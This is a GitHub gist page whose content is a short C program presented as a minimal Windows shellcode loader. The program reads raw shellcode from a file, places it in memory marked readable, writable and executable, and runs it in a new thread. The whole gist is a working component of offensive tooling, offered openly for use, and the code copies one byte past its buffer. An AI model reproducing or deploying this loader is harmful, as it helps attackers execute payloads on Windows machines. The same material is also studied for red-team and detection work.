Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active June 6, 2022 11:08
Show Gist options
  • Save mgeeky/5897962546ce80a630edc89f382f6439 to your computer and use it in GitHub Desktop.
Save mgeeky/5897962546ce80a630edc89f382f6439 to your computer and use it in GitHub Desktop.
Simplest windows shellcode loader there can be, purely in C
#include <stdio.h>
#include <stdlib.h>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: ./shellcodeLoader <shellcode64>\n");
return 1;
}
FILE *fdShell = fopen(argv[1], "rb");
fseek(fdShell, 0, SEEK_END);
int length = ftell(fdShell);
rewind(fdShell);
void *sc = calloc(1, length);
fread(sc, length, 1, fdShell);
void* addressPointer = VirtualAlloc(NULL, length+1, 0x3000, 0x40);
RtlMoveMemory(addressPointer, sc, length+1);
void* handle = CreateThread(NULL, 0, (void*)addressPointer, NULL, 0, 0);
Sleep(3000);
WaitForSingleObject(handle, INFINITE);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment